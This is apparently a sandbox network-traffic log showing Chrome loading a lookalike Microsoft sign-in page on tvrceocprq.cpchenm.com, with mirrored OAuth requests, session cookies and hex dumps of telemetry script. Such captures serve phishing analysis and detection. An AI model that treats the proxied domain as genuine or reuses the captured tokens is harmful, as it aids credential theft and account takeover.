2c 6e 2e 64 28 74 2c 22 6f 62 6a 4b 65 79 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 Data Ascii: b.m})),n.d(t,"toISOString",(function(){return b.Q})),n.d(t,"arrForEach",(function(){return b.b})),n.d(t,"arrIndexOf",(function(){return b.c})),n.d(t,"arrMap",(function(){return b.d})),n.d(t,"arrReduce",(function(){return b.e})),n.d(t,"objKeys",(function(
2024-11-12 16:29:55 UTC	5895	IN	Data Raw: 74 2c 22 67 65 74 43 6f 6d 6d 6f 6e 53 63 68 65 6d 61 4d 65 74 61 44 61 74 61 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 69 7d 29 29 2c 6e 2e 64 28 74 2c 22 67 65 74 43 6f 6f 6b 69 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 6a 7d 29 29 2c 6e 2e 64 28 74 2c 22 73 65 74 43 6f 6f 6b 69 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 79 7d 29 29 2c 6e 2e 64 28 74 2c 22 64 65 6c 65 74 65 43 6f 6f 6b 69 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 66 7d 29 29 2c 6e 2e 64 28 74 2c 22 67 65 74 43 6f 6f 6b 69 65 56 61 6c 75 65 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 2e 6b 7d 29 29 2c 6e 2e 64 28 74 2c 22 65 78 74 65 6e 64 22 2c 28 66 Data Ascii: t,"getCommonSchemaMetaData",(function(){return l.i})),n.d(t,"getCookie",(function(){return l.j})),n.d(t,"setCookie",(function(){return l.y})),n.d(t,"deleteCookie",(function(){return l.f})),n.d(t,"getCookieValue",(function(){return l.k})),n.d(t,"extend",(f
2024-11-12 16:29:55 UTC	7074	IN	Data Raw: 65 61 6b 7d 7d 6f 7c 7c 28 6f 3d 6e 5b 65 5d 3d 7b 7d 29 2c 6f 5b 74 5d 3d 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 2c 6e 2c 72 2c 69 2c 61 2c 6f 29 7b 69 66 28 65 2e 68 61 6e 64 6c 65 72 29 72 65 74 75 72 6e 20 65 2e 68 61 6e 64 6c 65 72 2e 70 72 6f 70 65 72 74 79 28 6e 2c 72 2c 61 2c 6f 29 3b 69 66 28 21 4f 62 6a 65 63 74 28 62 2e 73 29 28 61 2e 6b 69 6e 64 29 29 7b 69 66 28 34 30 39 36 3d 3d 28 34 30 39 36 26 69 29 7c 7c 21 4f 62 6a 65 63 74 28 6c 2e 75 29 28 61 2e 6b 69 6e 64 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 61 2e 76 61 6c 75 65 3d 61 2e 76 61 6c 75 65 2e 74 6f 53 74 72 69 6e 67 28 29 7d 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 6e 2c 72 2c 69 2c 61 2c 6f 29 7b 69 66 28 6f 26 26 6e 29 7b 76 61 72 20 75 Data Ascii: eak}}o\|\|(o=n[e]={}),o[t]=a}return a}function o(e,n,r,i,a,o){if(e.handler)return e.handler.property(n,r,a,o);if(!Object(b.s)(a.kind)){if(4096==(4096&i)\|\|!Object(l.u)(a.kind))return null;a.value=a.value.toString()}return function e(n,r,i,a,o){if(o&&n){var u
2024-11-12 16:29:55 UTC	8253	IN	Data Raw: 4f 55 4e 4d 55 54 45 3d 32 34 39 5d 3d 22 56 49 44 45 4f 55 4e 4d 55 54 45 22 2c 65 5b 65 2e 56 49 44 45 4f 46 55 4c 4c 53 43 52 45 45 4e 3d 32 35 30 5d 3d 22 56 49 44 45 4f 46 55 4c 4c 53 43 52 45 45 4e 22 2c 65 5b 65 2e 56 49 44 45 4f 55 4e 46 55 4c 4c 53 43 52 45 45 4e 3d 32 35 31 5d 3d 22 56 49 44 45 4f 55 4e 46 55 4c 4c 53 43 52 45 45 4e 22 2c 65 5b 65 2e 56 49 44 45 4f 52 45 50 4c 41 59 3d 32 35 32 5d 3d 22 56 49 44 45 4f 52 45 50 4c 41 59 22 2c 65 5b 65 2e 56 49 44 45 4f 50 4c 41 59 45 52 4c 4f 41 44 3d 32 35 33 5d 3d 22 56 49 44 45 4f 50 4c 41 59 45 52 4c 4f 41 44 22 2c 65 5b 65 2e 56 49 44 45 4f 50 4c 41 59 45 52 43 4c 49 43 4b 3d 32 35 34 5d 3d 22 56 49 44 45 4f 50 4c 41 59 45 52 43 4c 49 43 4b 22 2c 65 5b 65 2e 56 49 44 45 4f 56 4f 4c 55 4d 45 Data Ascii: OUNMUTE=249]="VIDEOUNMUTE",e[e.VIDEOFULLSCREEN=250]="VIDEOFULLSCREEN",e[e.VIDEOUNFULLSCREEN=251]="VIDEOUNFULLSCREEN",e[e.VIDEOREPLAY=252]="VIDEOREPLAY",e[e.VIDEOPLAYERLOAD=253]="VIDEOPLAYERLOAD",e[e.VIDEOPLAYERCLICK=254]="VIDEOPLAYERCLICK",e[e.VIDEOVOLUME
2024-11-12 16:29:55 UTC	9432	IN	Data Raw: 6e 67 3a 30 2c 70 72 6f 70 65 72 74 69 65 73 3a 30 2c 6d 65 61 73 75 72 65 6d 65 6e 74 73 3a 30 7d 3b 74 68 69 73 2e 76 65 72 3d 32 2c 74 68 69 73 2e 75 72 6c 3d 47 28 65 2c 6e 29 2c 74 68 69 73 2e 6e 61 6d 65 3d 71 28 65 2c 74 29 7c 7c 22 6e 6f 74 5f 73 70 65 63 69 66 69 65 64 22 2c 74 68 69 73 2e 70 72 6f 70 65 72 74 69 65 73 3d 4a 28 65 2c 69 29 2c 74 68 69 73 2e 6d 65 61 73 75 72 65 6d 65 6e 74 73 3d 59 28 65 2c 61 29 2c 6f 26 26 28 74 68 69 73 2e 64 6f 6d 50 72 6f 63 65 73 73 69 6e 67 3d 6f 2e 64 6f 6d 50 72 6f 63 65 73 73 69 6e 67 2c 74 68 69 73 2e 64 75 72 61 74 69 6f 6e 3d 6f 2e 64 75 72 61 74 69 6f 6e 2c 74 68 69 73 2e 6e 65 74 77 6f 72 6b 43 6f 6e 6e 65 63 74 3d 6f 2e 6e 65 74 77 6f 72 6b 43 6f 6e 6e 65 63 74 2c 74 68 69 73 2e 70 65 72 66 54 6f Data Ascii: ng:0,properties:0,measurements:0};this.ver=2,this.url=G(e,n),this.name=q(e,t)\|\|"not_specified",this.properties=J(e,i),this.measurements=Y(e,a),o&&(this.domProcessing=o.domProcessing,this.duration=o.duration,this.networkConnect=o.networkConnect,this.perfTo
2024-11-12 16:29:55 UTC	10611	IN	Data Raw: 65 29 2c 74 2c 21 31 29 29 29 2c 72 7d 66 75 6e 63 74 69 6f 6e 20 4d 65 28 65 2c 74 2c 6e 2c 72 29 7b 76 61 72 20 69 3d 6e 26 26 6e 2e 5f 61 69 48 6f 6f 6b 73 3b 69 66 28 21 69 29 7b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 6e 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2c 69 3d 65 2e 68 2c 61 3d 28 28 74 3d 7b 7d 29 5b 5f 65 2e 44 5d 3d 65 2e 6e 2c 74 2e 69 6e 73 74 3d 6e 2c 74 2e 63 74 78 3d 6e 75 6c 6c 2c 74 2e 73 65 74 3d 73 2c 74 29 2c 6f 3d 5b 5d 2c 63 3d 75 28 5b 61 5d 2c 72 29 3b 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 44 65 28 74 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 5b 5f 65 2e 48 5d 28 74 29 7d 29 29 2c 65 7d 66 75 6e Data Ascii: e),t,!1))),r}function Me(e,t,n,r){var i=n&&n._aiHooks;if(!i){var a=function(e){return function(){var t,n=this,r=arguments,i=e.h,a=((t={})[_e.D]=e.n,t.inst=n,t.ctx=null,t.set=s,t),o=[],c=u([a],r);function u(e,t){return De(t,(function(t){e[_e.H](t)})),e}fun
2024-11-12 16:29:55 UTC	11790	IN	Data Raw: 6e 74 65 72 6e 61 6c 28 74 2c 6e 29 7d 63 61 74 63 68 28 65 29 7b 45 28 31 2c 33 35 2c 22 74 72 61 63 6b 45 78 63 65 70 74 69 6f 6e 20 66 61 69 6c 65 64 2c 20 65 78 63 65 70 74 69 6f 6e 20 77 69 6c 6c 20 6e 6f 74 20 62 65 20 63 6f 6c 6c 65 63 74 65 64 3a 20 22 2b 4f 62 6a 65 63 74 28 53 2e 69 29 28 65 29 2c 7b 65 78 63 65 70 74 69 6f 6e 3a 4f 62 6a 65 63 74 28 62 2e 61 29 28 65 29 7d 29 7d 7d 2c 65 2e 5f 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 74 26 26 74 2e 65 72 72 6f 72 2c 72 3d 74 26 26 74 2e 65 76 74 3b 74 72 79 7b 69 66 28 21 72 29 7b 76 61 72 20 69 3d 4f 62 6a 65 63 74 28 62 2e 6f 29 28 29 3b 69 26 26 28 72 3d 69 2e 65 76 65 6e 74 29 7d 76 61 72 20 61 3d 74 26 26 74 2e 75 72 6c 7c 7c 28 4f 62 6a 65 63 74 28 62 Data Ascii: nternal(t,n)}catch(e){E(1,35,"trackException failed, exception will not be collected: "+Object(S.i)(e),{exception:Object(b.a)(e)})}},e._onerror=function(t){var n=t&&t.error,r=t&&t.evt;try{if(!r){var i=Object(b.o)();i&&(r=i.event)}var a=t&&t.url\|\|(Object(b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.22	49229	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:55 UTC	2661	OUT	POST /common/handlers/watson HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive Content-Length: 5598 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 client-request-id: 2a51e03a-9691-be2b-3843-b2e27ecb841e canary: PAQABDgEAAADW6jl31mB3T7ugrWTT8pFeR99F6AdOb_ETd81uZJ7XalTzFgrrJLIFkUCnEG3U_6Epzpj_imhlz8eIHjT5aMJ4PndfyLgrxaBLAHratz9541asddXY1MEBurWLhWQwtY23Y9jTtpXtzm7zkqi8Aya6lzPkDtd1Ns0D9NgvLVYKEJjWfNl8X2PbL1d4bx8wGOaZAtsxXVaBwkLbVqtsYoiXhMZULsHZ8PQ-Kgcs9RvYKSAA Content-Type: application/json; charset=UTF-8 hpgid: 1104 Accept: application/json X-Requested-With: XMLHttpRequest hpgact: 1800 sec-ch-ua-platform: "Windows" Origin: https://tvrceocprq.cpchenm.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
2024-11-12 16:29:55 UTC	5598	OUT	Data Raw: 7b 22 65 63 22 3a 22 54 79 70 65 45 72 72 6f 72 3a 54 79 70 65 45 72 72 6f 72 3a 20 43 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 69 65 73 20 6f 66 20 6e 75 6c 6c 20 28 72 65 61 64 69 6e 67 20 27 69 6e 6e 65 72 54 65 78 74 27 29 22 2c 22 77 65 63 22 3a 22 33 34 22 2c 22 69 64 78 22 3a 31 2c 22 70 6e 22 3a 22 43 6f 6e 76 65 72 67 65 64 53 69 67 6e 49 6e 22 2c 22 73 63 22 3a 31 30 31 33 2c 22 68 70 67 22 3a 31 31 30 34 2c 22 6d 73 67 22 3a 22 55 6e 63 61 75 67 68 74 20 54 79 70 65 45 72 72 6f 72 3a 20 43 61 6e 6e 6f 74 20 72 65 61 64 20 70 72 6f 70 65 72 74 69 65 73 20 6f 66 20 6e 75 6c 6c 20 28 72 65 61 64 69 6e 67 20 27 69 6e 6e 65 72 54 65 78 74 27 29 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 74 76 72 63 65 6f 63 70 72 71 2e 63 70 63 Data Ascii: {"ec":"TypeError:TypeError: Cannot read properties of null (reading 'innerText')","wec":"34","idx":1,"pn":"ConvergedSignIn","sc":1013,"hpg":1104,"msg":"Uncaught TypeError: Cannot read properties of null (reading 'innerText')","url":"https://tvrceocprq.cpc
2024-11-12 16:29:55 UTC	1130	IN	HTTP/1.1 200 OK Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: no-store, no-cache Cache-Control: no-cache="Set-Cookie" Client-Request-Id: 2a51e03a-9691-be2b-3843-b2e27ecb841e Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/json; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:54 GMT Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin
2024-11-12 16:29:55 UTC	479	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 66 70 63 3d 41 67 6f 50 75 36 6b 67 6c 66 46 4e 6f 43 66 31 62 6f 61 50 49 34 38 3b 20 50 61 74 68 3d 2f 3b 20 45 78 70 69 72 65 73 3d 54 68 75 2c 20 31 32 20 44 65 63 20 32 30 32 34 20 31 36 3a 32 39 3a 35 35 20 47 4d 54 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e Data Ascii: Set-Cookie: fpc=AgoPu6kglfFNoCf1boaPI48; Path=/; Expires=Thu, 12 Dec 2024 16:29:55 GMT; HttpOnly; Secure; SameSite=NoneSet-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneSet-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmn
2024-11-12 16:29:55 UTC	265	IN	Data Raw: 7b 22 61 70 69 43 61 6e 61 72 79 22 3a 22 50 41 51 41 42 44 67 45 41 41 41 44 57 36 6a 6c 33 31 6d 42 33 54 37 75 67 72 57 54 54 38 70 46 65 7a 39 42 39 65 49 6a 72 4f 44 66 7a 70 31 78 6a 50 4d 63 62 49 30 63 34 57 53 4d 4b 32 64 34 32 6b 74 77 54 58 68 77 43 44 72 71 2d 4e 6e 30 62 72 54 77 34 69 6e 78 4a 35 4d 4c 38 6e 59 48 36 55 37 47 5f 6e 77 6b 30 33 55 4d 53 35 6b 4b 54 37 53 73 58 4b 5f 53 32 50 71 50 6f 4d 79 4f 61 39 66 5f 42 68 47 77 4f 34 5f 6a 38 77 57 65 64 31 4f 68 62 54 53 77 4b 7a 4c 55 64 35 64 77 41 71 78 62 30 6b 55 35 75 31 56 6d 77 4d 6a 42 36 54 5f 51 35 38 4d 7a 74 5a 38 6e 30 72 44 34 39 45 30 36 2d 6b 5f 38 6c 75 73 45 73 30 71 30 2d 34 33 4c 49 45 75 44 39 67 42 66 4f 56 4f 49 6c 79 62 66 4a 46 54 47 79 6f 53 55 53 66 65 4a 43 Data Ascii: {"apiCanary":"PAQABDgEAAADW6jl31mB3T7ugrWTT8pFez9B9eIjrODfzp1xjPMcbI0c4WSMK2d42ktwTXhwCDrq-Nn0brTw4inxJ5ML8nYH6U7G_nwk03UMS5kKT7SsXK_S2PqPoMyOa9f_BhGwO4_j8wWed1OhbTSwKzLUd5dwAqxb0kU5u1VmwMjB6T_Q58MztZ8n0rD49E06-k_8lusEs0q0-43LIEuD9gBfOVOIlybfJFTGyoSUSfeJC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.22	49230	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:56 UTC	1379	OUT	GET /common/handlers/watson HTTP/1.1 Host: tvrceocprq.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; esctx-I25zEK1wCc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeCER6CDHA06GGAe-LySKuSOwx2l-rq6u1wcPfCi_5UWvT8L9eCpAIjsNTmcO9trK7dBx9A8qrBBamY8dJ0baPw0rdrrr4N1rFhXs_20DWYCfzUU26_32cELHSruGKIJCHZBIxnMPxV72DqUJPcOGs3yAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AXQAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAB0AA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeIP3C8g7KwuiM7Ev_rshoThcn-64VIGdTNldLsZu_R-bwEXfX6wPbFRI1Km9R1OBdPdAzE0jHZtiEUV0eiaiXfYQkoa4y3BR73Md6HTvvCakgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFezSAI5wLDpJX4pCUbm_wRplnC1A8sDhadqvgReclaUA46gdDBGd2MTJnwqIr1T6zGS5YKlX6-jN1YGO9hB7J60NnJ-o_SMdi97bfQHyFJ-UZH4-bbTDVAWJBcS04ilndtsb7OzBHk5H22Figqv5HcN6_66VUY74Ea3Pte-VHokVogAA; esctx-LcPkWEWIOLw=AQABCQEAAADW6jl31mB3T7ugrWTT8pFetFovww6P0BF3T5TSvnxYcyATNY-wH_gEnmkWFFKV9bjkhc9mAKnj95Pfz-QmcG_fYJ8LvbCIMVFAqrxAytq7DHXUumpKtdjQnNgJr37IoUinidlLqGM0pYkPxRm5RPjpas9ZNvKB6RfR4KtrxRe8DCAA; fpc=AgoPu6kglfFNoCf1boaPI48
2024-11-12 16:29:56 UTC	1154	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://tvrceocprq.cpchenm.com Cache-Control: no-store, no-cache Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/json; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:56 GMT Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: fpc=AgoPu6kglfFNoCf1boaPI48; Path=/; Expires=Thu, 12 Dec 2024 16:29:56 GMT; HttpOnly; Secure; SameSite=None
2024-11-12 16:29:56 UTC	358	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 78 2d 6d 73 2d 67 61 74 65 77 61 79 2d 73 6c 69 63 65 3d 65 73 74 73 66 64 3b 20 50 61 74 68 3d 2f 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 4d 73 2d 45 73 74 73 2d 53 65 72 76 65 72 3a 20 32 2e 31 2e 31 39 33 34 33 2e 34 20 2d 20 57 45 55 4c 52 31 20 50 72 6f 64 53 6c 69 63 65 73 0d 0a 58 2d 4d 73 2d 52 65 71 75 Data Ascii: Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=NoneSet-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Ms-Ests-Server: 2.1.19343.4 - WEULR1 ProdSlicesX-Ms-Requ
2024-11-12 16:29:56 UTC	164	IN	Data Raw: 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 38 35 62 37 39 66 65 61 2d 31 33 33 32 2d 34 35 63 66 2d 61 36 36 62 2d 66 37 36 33 36 31 39 64 37 39 32 39 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 31 2d 31 32 20 31 36 3a 32 39 3a 35 36 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d Data Ascii: {"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"85b79fea-1332-45cf-a66b-f763619d7929","timestamp":"2024-11-12 16:29:56Z","message":"AADSTS900561"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.22	49231	2.59.163.43	443	3592	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 16:29:57 UTC	458	OUT	GET /shared/1.0/content/js/oneDs_f2e0f4a029670f10d892.js HTTP/1.1 Host: tvrcedjrhte.cpchenm.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM
2024-11-12 16:29:58 UTC	1105	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: https://tvrcedjrhte.cpchenm.com Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Cache-Control: no-cache="Set-Cookie" Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; frame-src 'self' * http://* https://* file://* about: javascript: data: blob: filesystem:; style-src * data: blob: filesystem: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline'; Content-Type: application/x-javascript Cross-Origin-Resource-Policy: cross-origin Date: Tue, 12 Nov 2024 16:29:58 GMT Etag: 0x8DB5D44A8CEE4F4 Last-Modified: Thu, 25 May 2023 17:22:47 GMT
2024-11-12 16:29:58 UTC	431	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 71 71 68 6f 73 74 3d 76 69 77 37 4d 31 79 64 72 44 76 69 53 42 58 6c 6a 6b 58 69 68 67 39 6e 6d 6c 64 51 67 55 49 6c 55 6d 6e 6e 43 69 6a 63 4c 58 4d 3b 20 50 61 74 68 3d 2f 3b 20 44 6f 6d 61 69 6e 3d 63 70 63 68 65 6e 6d 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 58 2d 41 7a 75 72 65 2d 52 65 66 3a 20 32 30 32 34 31 31 31 32 54 31 36 32 39 35 38 5a 2d 31 35 34 38 37 39 39 39 64 38 37 74 77 66 71 32 68 43 31 57 41 57 64 36 71 63 30 30 30 30 30 30 30 36 67 30 30 30 30 30 30 30 30 30 32 74 37 74 0d 0a 58 2d 43 61 63 68 65 3a 20 54 43 50 5f 48 49 54 0d 0a 58 2d 46 64 2d 49 6e 74 2d 52 6f 78 79 2d 50 75 72 67 65 69 64 3a 20 34 35 35 34 36 39 31 0d 0a 58 2d 4d 73 2d 42 6c 6f 62 2d Data Ascii: Set-Cookie: qqhost=viw7M1ydrDviSBXljkXihg9nmldQgUIlUmnnCijcLXM; Path=/; Domain=cpchenm.com; Secure; SameSite=NoneX-Azure-Ref: 20241112T162958Z-15487999d87twfq2hC1WAWd6qc00000006g0000000002t7tX-Cache: TCP_HITX-Fd-Int-Roxy-Purgeid: 4554691X-Ms-Blob-
